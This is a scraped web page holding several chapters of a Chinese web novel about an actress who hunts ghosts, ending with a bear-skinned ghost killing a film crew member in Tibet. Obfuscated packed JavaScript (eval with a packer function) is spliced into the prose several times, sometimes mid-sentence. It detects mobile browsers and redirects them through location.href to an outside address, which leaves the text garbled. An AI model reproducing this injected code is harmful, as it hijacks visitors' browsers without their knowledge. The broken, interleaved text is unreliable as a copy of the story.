d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12897797|130847||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 整半年的书,她看过这本《凡尘鉴鬼术》。 十二窍玲珑心在被挖出来之前没有任何方法确认是不是,舒瑾安那十二颗红痣很有可能是巧合,所以连舒家人都不知道舒瑾安有十二窍玲珑心。 金绮月大笑,一口一口把舒瑾安的心脏吃了下去,吃得满嘴是血。她一心想当鬼,既然要当鬼,那就当最厉害的鬼。 从那一天开始,神通鬼金绮月在天女城后山山洞诞生。 神通鬼现世,天下大乱。 鬼害人跟人吃饭一样天经地义,数年间,各地鬼患严重,甚至出现了村、镇、乡整个被鬼屠灭的情况。 金绮月当人当得不自在,当鬼就信手拈来了,作为鬼来说她很成功,是一只很厉害的神通鬼。 左轻白走在遍布尸体的村庄里,她见不得这场面,悲愤地紧握拳头、全身发抖。 舒家作为捉鬼师家族,当然不会置之不理,舒家倾尽全天女城之力,与金绮月决斗,结果,全军覆没。 金绮月把舒家的捉鬼师杀光,毁了天女城。 这个世界的捉鬼师传承制度有一点问题,他们是家族传承,而且只有舒家这一家,捉鬼术又难学,仅靠看书没人指导几乎不可能学会,舒家的捉鬼师死光了,直接导致这个世界的捉鬼师断代。 番外到此结束。左轻白双眼一睁,回到了道观,玄逸坐在她面前。 玄逸叹道:“没想到金绮月在变成鬼之前是助道者体质;更没想到金绮月之所以能变成神通鬼,是因为她得到了十二窍玲珑心。” “助道者、十二窍玲珑心、神通鬼,这三个哪个不是少见少见再少见,全撞到金绮月身上了,金绮月是巧合之王吗?不愧是小说,太不合理了,太魔幻了。”左轻白吐槽道。 “还有更魔幻的呢。”玄逸慢悠悠地说。 玄逸拿着手机往前刷,翻到《登顶娱乐圈女王》前几章的内容。 “网络小说字数太多,前面的一些细节描写你大概已经忘了,我给你看一个很魔幻的巧合。”玄逸对左轻白说。 左轻白把脑袋凑了过去,玄逸翻到前十章,找到书中周夙第一次出场时的人物描写,指给左轻白看。 左轻白看着看着,瞪大了眼睛。 “我还真忘了这段描写。作者写周夙的心脏跟普通人不一样,他的心脏长在右边;周夙的右胸上还有十二颗红痣,据说是胎记。所以……周夙是舒瑾安?”左轻白冲着玄逸惊讶地喊。 “你别冲我喊,你要问作者。”玄逸嫌弃道。 “快,帮我卜个卦,抓紧时间。”左轻白急匆匆地帮玄逸拿来了笅杯。 玄逸抛掷笅杯,他看着卦象,皱眉道:“是,又不是。” “是又不是?什么意思?”左轻白问。 玄逸摇头,“不知道。” “我来抛一次。”左轻白说着,去抢玄逸的笅杯,没想到她的手竟然穿着笅杯过去了。 左轻白举起自己的手,发现自己的身体已经变成了半透明。 她又要回书里去了。 41. 是他命好 医院,独立病房。 左轻白在消毒水的气味中醒过来。 左轻白躺在病床上,病床边趴着一个人,是路回。 左轻白坐了起来,心想自己不是在剧组晕倒的吗?剧组成员呢? 趴着的路回胳膊麻了,他动了动,正想换个姿势,刚好和左轻白四目相对。 “你……你醒了?”路回开口道。 左轻白点点头。 “有没有哪里不舒服?我叫医生进来检查一下。”路回有些紧张。 “不用,我很好。可能太累了,晕了一下,睡一觉就好了。”左轻白心想睡久点我还能在师父那多呆一会。 路回叹气道:“连轴转能不累吗?我让他们把你下个月的行程减少了。” “走红毯那种行程可以减,剧组的行程不要减,我还要继续找弥月刃。” “你……”路回突然伸手捧住左轻白的脸,说:“分清楚主次好不好,你要是过劳死了,弥月刃就算找到了谁来使用啊?我吗?我可没那本事。” “也是。”左轻白觉得路回说的对。 左轻白问路回:“我不是在剧组吗?剧组的人呢?” “剧组本来想把你送到最近的医院,我觉得那个医院条件差了点,就派专车把你接来这里。” “这个医院……” “这个医院我家有股份。” “你家可真富。” “也就还行。” 路家很富,以后路家的财产大头都是路回的,路回吃肉,周夙喝汤。 想到周夙,左轻白悄悄凑近路回,问他:“路回,我问你一个问题,你那哥哥他……他……” 左轻白“他”了两下,又把话收了回去,心想周夙到底是不是舒瑾安路回怎么可能知道,算了,不问了。 路回一脸莫名其妙,“我哥怎么了?” “没事。” 路回露出不高兴的表情,像个生闷气的大男孩。路回对左轻白说:“我守了你一晚上,你醒来不问我,却问我哥?” “你守了我一晚上?” “是啊。” “太感动了。”左轻白说,“为了表达感谢,我送你个礼物吧。” 左轻白变魔术似的变出一枚素圈戒指,递给路回。 路回愣了一下,第一反应是这丫头终于开窍了?第二反应是不对啊,是不是搞反了?不是应该他来送? 路回绅士地用手挡了一下左轻白递过来的戒指,用低沉的嗓音说:“应该我来送你。” 没想到下一秒左轻白就锤了路回一下,说:“想什么啊?这是捉鬼师独有的法器,叫银召圈,你戴在手上,当遇到鬼时,先逆时针转三圈,再顺时针转三圈,再再逆时针转一圈,总共转七圈,我就知道你有危险了,会以最快的速度赶到你身边抓鬼,保证你的安全。” 路回把银召圈戴在自己左手中指上,并咬牙切齿地说:“又是抓鬼……” 左轻白不想耽误剧组进度,让路回赶紧把她送回去,路回依言把左轻白送回剧组,故意把排场搞得很大,许多狗仔都拍到了。 不仅如此,路回还有意无意地在狗仔面前露出戴在中指上的银召圈,银召圈跟素圈戒指长得差不多,看起来就是路回左手中指上多了一枚戒指。中指戴戒指是名花有主的意思,狗仔们都猜测左轻白很有可能会成为嘉烨娱乐的老板娘。 左轻白还在拍戏,对此一无所知,直到杀青宴上剧组接受记者采访。 采访过程中,几乎所有媒体记者的好奇心都集中在左轻白身上,但却不是因为她的角色。 记者1:“轻白小姐最近在谈恋爱吗?” 左轻白:“没有啊。” 记者2:“路总中指戴上了戒指,这是在暗示你俩的恋情吗?” 左轻白:“没那回事。” 记者3:“网友都说能遇上路总,是你命好,你怎么看?” 左轻白:“我不这么看,我觉得路回遇上我,是他命好。” 左轻白是真的这么认为的。路回遇鬼,是左轻白救了他,路回的身体被金绮月植入疑云,是左轻白帮他拔出来,左轻白救了路回好几次,她当然可以很自信地说路回遇到她是路回命好。 左轻白说得很自然,但那些记者全都笑出了声。 世人早就默认,一个女人遇到一个有钱的男朋友,一定是那个女人高攀。而左轻白却敢说路回遇到她是路回命好。 左轻白奇怪地看向那些发笑的记者,问:“你们笑什么?我是说真的,我从鬼的手中救过路回好几次,他遇上我不是命好是什么?” 记者们笑得更大声了。 一个记者笑得上气不接下气,“轻白小姐,这世上哪有鬼啊?” 左轻白理直气壮地说:“你没遇到过,不代表不存在。” “那轻白小姐说说,鬼长什么样?” “鬼什么样的都有,说不准的。它们可以换皮,披了男人的皮就是男人的样子,披了女人的皮就是女人的样子,别说样貌说不准了,就连性别都说不准。”左轻白认真地说。 众人继续哄堂大笑。 一人笑得肚子都痛了,捂着肚子说:“这不是《聊斋·画皮》的情节吗?轻白小姐最近在看蒲松龄的《聊斋》?” “不一样。”左轻白科普道,“蒲松龄写的是画皮,但真正的鬼换皮的时候剥的是真人皮,所以它们才要害人。” 看到所有人都露出看笑话的表情,左轻白叹了口气,一摊手,露出一副无所谓的样子,说:“好咯好咯,我承认,我刚才是在胡编乱造,为了活跃气氛开开玩笑。你们继续问问题,不要再问我和路回的八卦了哈,问点跟咱们这部剧相关的。” 采访还在继续。 不远处的角落里,一个人的目光穿过围着左轻白的那些记者,牢牢盯住了左轻白。 他转动着自己小拇指上的一枚尾戒,低声自言自语道:“胡编乱造?根本不是。” 他的声音清冷,带着一股寒意,像天山上的雪。 另一边,路回的办公室里,路回从视频软件上看到了采访画面,左轻白那一通胡言乱语让路回气得捶桌 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12928913|130847||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 这时,路回的助理之一魏峰走进了进来。 路回指着视频对魏峰说:“绯闻都闹这么大了,她承认一下能死啊?” 说真的,左轻白要是在镜头面前承认她跟路回的绯闻是真的,路回能高兴得围着公司大楼跑圈,可惜左轻白一心只想抓鬼,别人的恋爱阻力是人,而咱们路总的恋爱阻力是鬼。 助理魏峰一脸认真,用洪亮的声音说:“路总,不谈恋爱专注事业,是每一个处于上升期的艺人应该做的!” 路回捂脸,评价魏峰道:“没点眼力见……” 左轻白简直就是娱乐圈劳模,上一部玄幻剧杀青不久,就马不停蹄地进了下一个剧组。 这次左轻白接的是一部警匪剧,左轻白饰演身手了得的女警察。因为左轻白有武术底子,动作戏厉害,所以来找她的本子大多是武侠、仙侠、神话、玄幻、特工、警匪之类需要打斗的题材,她本身也适合这种。 因为剧本里有一段左轻白饰演的女警和她的搭档千里追凶,路上遇到很多困难,一直追到藏地才把凶手抓到的剧情,所以剧组要去藏地取景拍摄。这段剧情最先拍,所以左轻白等人的第一站就去了藏地。 飞机落地后,剧组在当地租了车,雇了当地人做司机,司机开车前往拍摄地,剧组人员将入住拍摄地附近的民宿。 左轻白坐在副驾驶,看着窗外向后飞驰的一座座雪山发出快乐的“呜呼”声。 司机大叔笑道:“姑娘,这么开心啊?” “看到美景当然开心啦!”左轻白说。 “你们外地人喜欢看,我们本地人早看腻了。” “我超级喜欢,我恨不得搬来这里住!”左轻白脸上洋溢着笑容。 “搬来这里住?这里有熊,你这小姑娘不害怕?”司机大叔跟左轻白聊起了天。 “有熊?” “是啊。我们这里有一种熊叫人面熊,它们会伪装成牧民,站在马路边向路过的车辆招手,临近黄昏时光线很暗,司机看不清,误以为是人,就把车开过去,摇下车窗问‘他’是不是需要帮助,然后就会被它吃掉。熊吃人很可怕,它不像老虎把人咬死了才吃,熊喜欢新鲜的,所以它会活着吃,从脚开始吃,被吃的人眼睁睁地看着熊把自己一点一点吃光。” 左轻白好奇地问:“熊有耳朵啊,就算光线很暗,耳朵的轮廓难道看不到吗?” “熊很聪明的,它们会把牛粪顶在脑袋上,不光能遮住耳朵,远远看过去还很像牧民戴着帽子。” “这么厉害。” 司机大叔继续说:“还有啊,你们今晚在民宿住下后,千万要记住,如果晚上听到敲门声,绝对不要开门,因为敲门的不是人,是熊!熊会模仿人敲门,模仿得可像了,一旦你开了门,它就会扑上来把你吃掉。” 司机大叔故意用很恐怖的声音吓左轻白:“怎么样,小姑娘害怕了没有?” 这时,坐在后排的一个男人出声道:“那把熊都杀了,不就好了吗?” 男人的声音清冷,带着一股寒意,像天山上的雪。 42. 塌方怎么可能有执念 这男人叫兰殊尔,是跟左轻白同组的演员。 兰殊尔在剧中饰演沉着冷静的重案队队长陆方周,左轻白饰演风风火火的警花方文菁,一动一静、一冰一火的两个人作为搭档总是一起查案,最后擦出了爱情的火花。 兰殊尔年纪跟左轻白差不多,他是今年的新星,之前在一部古装剧中饰演少年将军,一下子火了,加上他公司给力,这部剧就接了男主。 剧组开拍前还有点小故事。一部剧就算只有一个男一、一个女一,也不可避免地会产生番位顺序,演员表上男一的名字先出来还是女一的名字先出来,那就要看谁是一番。剧组起初定的是兰舒尔是一番,结果路回听说之后很不服气,说要去帮左轻白撕番,被左轻白拦住了。 路回对左轻白说:“你是靠《千妖百鬼录》这部电影出名的,是电影咖,电影咖演电视剧算‘下凡’,你必须是一番。” 左轻白却说:“我不在乎什么一番不一番的,你别搞那什么撕番的动静,光给观众看笑话了。之前《千妖百鬼录》樊音跟乔韵团队撕番,多搞笑啊,剧组两边不敢得罪,所以片头樊音的名字在前,片尾又换成乔韵的名字在前,主打一个端水;还有那张两个女主的双人海报,改了又改改了又改,设计师都快疯了,两边团队拿尺子来量海报上哪个女主占的面积大,要是量出来对家大了立马要求改。整这动静,给所有观众看笑话。我不撕番,你别帮我撕。” 路回看着左轻白,叹气道:“左轻白,你是不是跟鬼打交道太多了,在人情世故上缺根筋啊?” 左轻白一边咬着一个苹果一边问路回:“撕番跟人情世故有什么关系?不是为了争利益和面子吗?谁的番位大谁的身价就高呗。但如果我没那么在乎身价,就不必去争咯。” “是为了争利益和面子,但不仅仅是为了争利益和面子,也是为了昭告别人你不是软柿子。”路回说,“别人都争,你不争,就会被一些人看成是好欺负,以后就专盯着你欺负。人就是喜欢挑软柿子捏,这是人的劣根性。” 左轻白一边咬着苹果,一边瞪大了眼睛看着路回,看起来有些傻傻的。左轻白好奇地问路回:“路少爷,我很好奇,按理说您这家世,从小到大众星捧月,肯定没人敢欺负您,您这是从哪得来的觉悟?” 路回很自然地伸出手,从左轻白嘴边把左轻白正在咬的苹果拿了过来,在左轻白没咬过的地方咬了一口,说: “我刚从国外回来的时候,我爸把一个分公司交给我练手,我刚开始到分公司的时候,看到分公司的几个高层都比我大很多,跟我爸一个年纪,我心想他们都是公司老员工,我应该对他们尊敬些,所以每次见到他们都是我先点头微笑,还一口一个‘叔叔’、‘伯伯’地称呼。但过了一段时间,我突然发现,好像我对他们越礼貌,他们就越看不起我。他们见我没脾气,就想倚老卖老欺负我。终于有一天,我不再对他们笑,我板起一张冷冰冰的脸在办公室里大发脾气,那一刻竟然所有人都对我毕恭毕敬,弯着腰叫我‘少爷’。当时我就明白一个道理,人在外边还是要显得不好惹一点好。” 左轻白听明白了,她从路回手中把苹果抢了回来,“路少爷,你家业大,又不缺苹果,为什么抢我手里的?跟小孩子爱吃贱食一样。你刚才说的那些我都听明白了,我觉得你说的很有道理,我决定听你的,去撕吧。” 路回优雅地抽过一张纸巾,擦了擦手,笑道:“我不爱吃贱食,我也不是小孩子,我只是觉得你手里那个苹果,比较甜。” 于是,路回动了动关系,真帮左轻白把一番撕了下来,所以现在这部剧左轻白一番,兰殊尔二番。 兰殊尔是对方公司力捧的新星,路回这番操作搞得对方公司的老板很不高兴,但对方老板争不过路回,只能憋屈地咽了这口气。 所以说,左轻白跟兰殊尔虽然在戏里是最亲密的恋人,但在戏外嘛,两人所属的公司有矛盾,按理说两人最好保持距离,不搭戏的时候最好不要说话。 但左轻白才不管这些,路回说得对,她跟鬼接触太多,在人情世故上有时思考得不太周全。左轻白转过身,从副驾驶伸个脑袋到后排,主动跟兰殊尔聊天:“那不行,熊是保护动物,除非它主动攻击人,否则不能杀。” 长相气质这方面,如果说路回是贵气,周夙是阴郁,肖恒是魅力,那么兰殊尔就是冷,兰殊尔天生一张表情匮乏的扑克脸,容貌跟他的声音一样,像雪山一样冷,给人一种生人勿近的感觉。 “我不这么认为。”兰殊尔冷冰冰地说,“所有隐患都应该在它没来得及酿成大祸之前消灭。如果每一只熊都有吃人的可能,那么每一只熊都应该在它吃人之前被消灭。” “这太极端了。”左轻白持反对意见,“这个世界不只属于人类。” 兰殊尔冷冷地看向左轻白,用一种打量似的目光上上下下扫过左轻白。左轻白被他看得很不舒服,问:“你在看什么?” 兰殊尔发出一声冷笑,用似有似无的嘲讽语气对左轻白说:“没想到,左小姐居然是个圣母。” “你这人……”左轻白生气地转过身,她不惯着兰殊尔,怼了一句回去:“奇葩。” 到了居住的民宿,剧组在住宿上没亏待大伙,住的院子虽然在山里,但是很新,很干净,还很有民族特色。 左轻白的房间视野最好,她很喜欢自己的房间。 藏族民居的客厅一般设计得很大,客厅同时也是餐厅,天花板、柱子上用涂料画着具有藏族风情的彩绘。晚上大家在客厅搞聚会,民宿免费提供青稞奶茶,大家一边喝奶茶一边聊天。 老冯是剧组的场务,他是个经验丰富的场务,经常跑不同剧组,这不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12956787|130847||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是他第一次来西藏,他之前也来过几次,有时候跟别的组来,有时候自己骑行来。 老冯绘声绘色地跟大家讲故事:“我是个骑行爱好者,我们骑友群里经常分享一些西藏骑行的恐怖故事,我讲给你们听。” 左轻白在一旁笑道:“冯哥是要讲人面熊吗?这个我们在车上听过了。” 老冯一摆手,说:“不是人面熊,是塌方。” 老冯说:“我一个骑友有次在骑行路上遇上塌方,滚下来的山石把公路给堵上了,骑友立即联系政府部门,请他们来清理山石。可当他们再次来到塌方的地点时,却发现那个地方很干净,根本没有什么山石堵路,没有什么塌方,公路是通畅的。” “这是为什么?”一个年轻一点的男孩子问道。这男孩子是摄影助理,叫小张,长得圆头圆脑,眼神清澈得像涉世未深的大学生。 老冯说:“不仅仅一个骑友遇到过这类事情,有两到三个都说,他们也遇到过一模一样的事,分明遇上了塌方,滚下来的巨石把公路堵上了,车子骑不过去,可一旦报警或求助别人来清理,再次折返回来时,塌方就不见了,滚落的石头也不见了,公路是通的!后来听当地人说,那是以前发生的塌方产生了执念,所以不断重复。” “啊?”小张懵了一下,问:“你说什么东西产生了执念?” “塌方。” 小张当即大笑起来,说:“冯哥,你别逗我!只听说过人或动物有执念,塌方怎么可能有执念啊?哈哈哈哈!” 小张笑得上气不接下气,他问一旁的左轻白:“轻白姐,你信吗?” 左轻白倒是没有笑,她撑着脑袋,一脸认真地说:“我信。” 小张像看鬼一样看左轻白,“不是吧,轻白姐,这你都信?” 小张又去问坐在他对面的兰殊尔:“兰老师,你信吗?” 没想到兰殊尔也一本正经地回答:“万物有灵,人有灵,动物有灵,塌方为什么没有?有灵就有执念,塌方有执念,也不是不可能。” 小张笑不出来了,怎么搞得好像他才是这里最奇怪的那个。 睡觉时间到了,大家各回各屋。 小张洗漱完毕躺在床上睡觉,快睡着的时候却被一阵敲门声吵醒,那敲门声不大,断断续续的,“哒,哒哒哒,哒哒……” 小张揉了揉朦胧的睡眼,下意识地走向房门,但就在他的手快要放到门把上时,他突然一个激灵清醒过来。 这里离山里近,会不会是……熊? 熊是会模仿人敲门的。 小张吓得连滚带爬滚回床上,他害怕极了,钻进被子里,用被子把头死死蒙上。 直到敲门声停止了,小张才小心翼翼地把头从被子里伸出来。 不伸不要紧,一伸头,小张看见一只巨熊就站在自己床边。 43. 你是复读机吗 左轻白房间。 房间里早就关灯了,黑漆漆的一片。 左轻白感到有些口渴,便起床倒水喝。 灯的开关离床有一段距离,左轻白是摸黑走过去的,摸着摸着,左轻白的手摸到了什么东西。 那玩意似乎无比巨大,毛还长,它的毛硬硬的,很扎人。 左轻白既不害怕,也不着急把灯打开,因为在这一瞬间她嗅到了鬼气,也就是说,鬼来了。 别人遇到鬼会害怕,左轻白不一样,她遇到鬼会兴奋,遇到金绮月除外。 黑暗中,左轻白嘴角一勾,露出一个气定神闲的微笑,悠悠地对那只长毛而巨大的鬼说:“你这是披了张什么动物的皮啊?人皮搞不到,所以搞了张动物皮?我可告诉你啊,现在很多动物都是受保护的,伤害保护动物,违法哦。” 左轻白五指一抓,抓了一手毛,那玩意仿佛被电流刺了一下,全身一激灵。 那玩意察觉到左轻白不是普通人,急忙想走,它朝门口冲去,然而在碰到门的那一刹那,却像触碰到了电网一样,疼得嗷嗷叫。 左轻白左手一打响指,黑暗中,房间墙壁上亮起了金色的网,整个房间像是被左轻白布上了一张电网,电网专门电鬼,闯入房间那玩意被电网堵在房里出不去。 左轻白打开了灯。 灯亮了,左轻白看到,闯入房间的这只鬼不像之前的鬼那样是人的模样,这次这只鬼,是只巨大的熊。 鬼爱披皮,有些鬼没本事搞到人皮,就会去弄张动物的皮来披,眼前这只鬼披了张熊皮。 这头熊巨大无比,比两个左轻白还要大,它全身黢黑,肌肉壮硕,面目狰狞,一张嘴,锋利的獠牙极其骇人。 左轻白笑道:“哟,不错嘛,搞了身熊皮大衣,就不怕冷了。” 左轻白一边说,一边拿出符纸,口中念念有词:“玄黄相生,五行相克……” 然而她咒语才念了一半,那只鬼熊突然“嗷呜”一声大叫起来,同时,它肚子里好像有什么东西亮了一下,左轻白朝鬼熊的肚子看过去,看到了肚子里发光的东西,形状像是法器一类的玩意,应该是藏传佛教的法器,左轻白不太确定。 熊肚子里的法器居然成功挡住了左轻白的咒语攻击。那只鬼熊又“嗷呜”了一嗓子,朝窗户冲过去,窗户上封了左轻白用法术织成的网,鬼熊本来是逃不出去的,然而它肚子里的法器又一次发出光亮,这次的光亮比刚才更强烈,鬼熊在法器的庇护下,冲出了左轻白布下的大网。 鬼熊从窗户跳了出去,左轻白跑到窗户边一看,只看到一个黑乎乎的大影子跑进了山里。左轻白跳上窗户,正当她打算跳下去追那头鬼熊的时候,突然民宿里传来一声尖叫,紧接着是撕心裂肺的喊声:“来人啊!救人啊!” 左轻白只好从窗户上下来,朝喊“救人”的方向跑去,人命要紧。 民宿的灯全都打开了。 当左轻白到达现场时,人命已经没了。 摄影助理小张的房间一片狼藉,床上、地上、墙上,甚至天花板上都溅满了鲜血,小张成“大”字型倒在床上,他的头颅、四肢还在,但肚子被挖了一个大洞,里面空空如也,五脏六腑全都被熊掏出来吃掉了。 那场面极其血腥,看到的人没有不腿软的。左轻白靠近时,剧组的一个男性工作人员拦住左轻白,他对左轻白说:“女孩子别过去,会被吓晕的。” 然而左轻白甩开那位男性工作人员的手,执拗地走到了小张的房门口。 一股刺鼻的血腥味迎面而来,混在血腥味里的,还有一股左轻白熟悉的鬼气。 除了金绮月那种神通鬼,鬼来到某个地方、接触某物后都会留下鬼气,鬼气能被捉鬼师识别。小张房间里留下的这股鬼气,跟闯入左轻白房间的那只鬼熊的鬼气一模一样。 左轻白咬了咬牙,在心里说:就是那只鬼熊杀了张维为。 小张的全名叫张维为。 正当左轻白想踏入房间的时候,场务老冯拉住了左轻白。 “不能进去。”老冯说,“剧组已经报警了,在警察到来之前,不要破坏现场。” 一旁的男性工作人员说:“不让破坏的是凶杀案的案发现场,因为里面有破案线索,但这一看就是熊干的啊,我刚才还听见熊叫了,你们听到没有?” “我也听到熊叫了。”另一名工作人员说,他指着左轻白道:“熊叫是从轻白老师房间的方向传过来的。” 老冯说:“不要这么快下定论,万一是场模仿熊杀人的谋杀案呢?总之等警察来看过再说吧。” 这时,兰殊尔也来到了张维为的房间。 兰殊尔清冷干净得跟雪山一样,跟这一屋子血腥格格不入,然而兰殊尔却义无反顾地踏进了张维为的房间。 “兰老师,不能进去,会破坏现场的!”老冯连忙出声阻止,“已经报警了,等警察过来处理,我们不要轻举妄动。” 兰殊尔冷冷地回头一瞥,声音似寒刀,“满芦,你觉得,这事警察来有用?” 老冯的大名叫冯满芦。 说完,兰殊尔头也不回地走进去了。 冯满芦在他身后骂骂咧咧:“喂喂喂喂喂!你只是演警察,不是真警察,这时候就不要代替警察干警察该干的事情了好不好?喂喂喂喂喂!你别进去啊,出来啊……” 左轻白指了指兰殊尔,说:“他都进去了,我总能进了吧?” 说完,左轻白不顾冯满芦的阻拦,“嗖”的一下也钻进了房间。 “喂喂喂喂喂!”冯满芦在后面着急地喊:“你只是演警察,不是真警察,这时候就不要代替警察干警察该干的事情了好不好?喂喂喂喂喂!你别进去啊,出来啊……” 身后的剧组工作人员吐槽道:“冯哥,你是复读机吗?” 冯满芦转身,毫不犹豫地一拍吐槽那人的脑门,说:“都什么时候了还吐槽?你是吐槽机吗?” 房间里,尸体躺在床上,被子、床单浸满了血,滴答、滴答、滴答一直往下 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12978203|130847||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 流。 尸体的模样极其可怕,张维为表情狰狞,眼睛大睁,肚子上露出血肉模糊的大洞,他死不瞑目。 冰山一样的兰殊尔站在房间中央,观察这里。 左轻白走了进来,兰殊尔瞥了左轻白一眼,又收回目光。 兰殊尔问:“你进来干什么?你们女孩子不都怕这种场面吗?” “那也要看是什么样的女孩。”左轻白说。 左轻白走到鬼气最浓的地方看了看,又默念了几句招魂的咒语,没有招到张维为的魂,张维为的魂早走了,看来张维为生前没啥执念。 兰殊尔的目光始终盯着左轻白。 “你为什么进来?”或许是觉得房间里两个人老不说话有些尴尬,左轻白问兰殊尔。 兰殊尔冷冰冰地说:“左小姐为什么进来,我就为什么进来。” “你知道我为什么进来?” “左小姐觉得我不知道你为什么进来?” “我怎么知道你知不知道我为什么进来?你在这跟我说绕口令呢?深井冰。”左轻白翻了个白眼。 兰殊尔仿佛看到了很有趣的东西,那张万年冰山脸笑了一下。 兰殊尔问左轻白:“他们都说张维为是熊杀的,我觉得不是。左小姐怎么看?” “我也觉得不是。”左轻白干脆利落地说。 “左小姐觉得是什么杀的?” “我说了你也不信。” “我会信。” 左轻白瞥了一眼兰殊尔,说:“我觉得是鬼杀的,你信吗?你肯定不信吧。都说了你不会信,你还问。” “我信。”兰殊尔冷静地说,“我也觉得是鬼杀的,可能是只披着熊皮的鬼。” 左轻白当场愣住,瞪大眼睛看向兰殊尔。 左轻白打量兰殊尔,同时在脑子里做判断。 师父说,除了自己外,还有从别的世界穿来的捉鬼师,莫非就是兰殊尔?不行,不能这么快就下结论,上次自己就是太快下结论,误以为肖恒是穿来的捉鬼师,结果闹了个大乌龙,这次要严谨一点。 上次左轻白误以为肖恒是穿来的捉鬼师,让肖恒骗走了招魂术的学习窍门,这次左轻白决定谨慎判断,好好再观察兰殊尔一段时间,可别又被骗一次。 于是左轻白眼珠子一转,对兰殊尔说:“兰老师真有趣,我随口一说的,你还真信。” 兰殊尔那张扑克脸明显不太高兴,他不解地看向左轻白。 警察来了,兰殊尔和左轻白都退出房间。 夜已经很深了,发生这样的事,住在民宿的剧组成员全都聚在一起,不敢单独行动,连上厕所都必须结伴。 左轻白站在靠窗的位置,一直盯着远山,那只鬼熊消失的方向。盯着盯着,左轻白突然看见,远山上冒出来一行奇怪的人。 虽然现在是晚上,距离又远,但那行人自己会发光,所以左轻白能清楚地看到,他们身穿喇嘛的僧衣,戴着喇嘛的法帽,一边念经一边在山上走。 44. 生命不死八卦不散 这场面太过古怪,左轻白恨不得飞到对面山上去探个究竟。 “我上趟厕所。”左轻白说。 “别一个人去。”冯满芦说。 “我陪她去。”兰殊尔出声道。 冯满芦震惊道:“一男一女不方便吧?” “我在外头等,又不进去。”兰殊尔说。 兰殊尔和左轻白走后,冯满芦跟周围人窃窃私语:“他们俩……不会有八卦吧?” 周围人皱眉道:“都什么时候了还想着八卦呢!” “生命不死八卦不散嘛!这就叫娱乐精神。” 左轻白急急忙忙跑出客厅,外面是院子,洗手间在院子的另一侧,需要穿过院子。 左轻白却没往洗手间去,而是东张西望,她看见院子里和大门口都有值班的民警,想躲过所有人的眼睛溜出去有点困难,况且身后还跟着个兰殊尔。 兰殊尔瞧左轻白那东张西望的样子,眉头微皱。左轻白注意到他打量的目光,气不打一处来。左轻白发现这个兰殊尔总是用这种打量的目光看自己,这让她非常不舒服。 左轻白不是个好惹的脾气,她当即朝兰殊尔走了几步,用一种很凶的语气质问:“你妈没教过你,一直这么看别人很不礼貌吗?” 兰殊尔依旧保持着他那张冰山脸,冷冰冰地说道:“我只是想提醒你,别贸然行动。那边山头到底有什么,那些喇嘛和那只熊是什么关系,等分析清楚了,再做行动。” 左轻白一愣,兰殊尔也看到了那些古怪的喇嘛?冯满芦他们都没看到,而兰殊尔看到了。 刚才左轻白还在怀疑兰殊尔到底是不是真的捉鬼师,现在左轻白已经信了大半。 但兰殊尔说“分析”?分析什么?有什么要分析的?捉鬼这行当难道不是冲上去就是干吗? 于是左轻白好奇地问:“分析什么?” 兰殊尔一本正经地回答:“时辰、日照、距离、风速、风水,要画个六边形数据图出来。” 左轻白用一副见了鬼的表情看兰殊尔,心想这玩意画完鬼都跑了吧? 但左轻白转念又一想,师父说这次穿来的捉鬼师跟自己不是同一个世界的,或许他们那个世界传授的捉鬼技巧跟师父传授给自己的不一样。想到这,左轻白就释然了。 然而兰殊尔的眉头却越拧越皱,不可置信道:“你不会画?你当初是怎么考上捉鬼师的?” 左轻白幽幽地说:“你们那捉鬼师还有考试啊?” “当然,三年一次,你没考?” “我们不用考……” 左轻白刚想说我们不用考,我们是师徒制,没出师的师父不会让下山,没有专门的考试。但她还没说完,兰殊尔就皱着眉来了一句:“难怪不合格。” “你……”左轻白气炸了,“你说我不合格?你知道我捉过多少鬼吗就说我不合格?” “连六边形数据图都不会画,怎么可能合格。” “哇,那什么数据图,画完鬼都跑了吧!捉鬼不是上去哐哐就是干吗?” “鲁莽。冷静分不及格,捉鬼师考试是绝对过不了的。” “你冷静,全天下就你冷静。话不投机半句多,我去上厕所。” 左轻白溜出去追喇嘛的计划没成功,上了个厕所后乖乖回客厅了,兰殊尔全程跟着她。 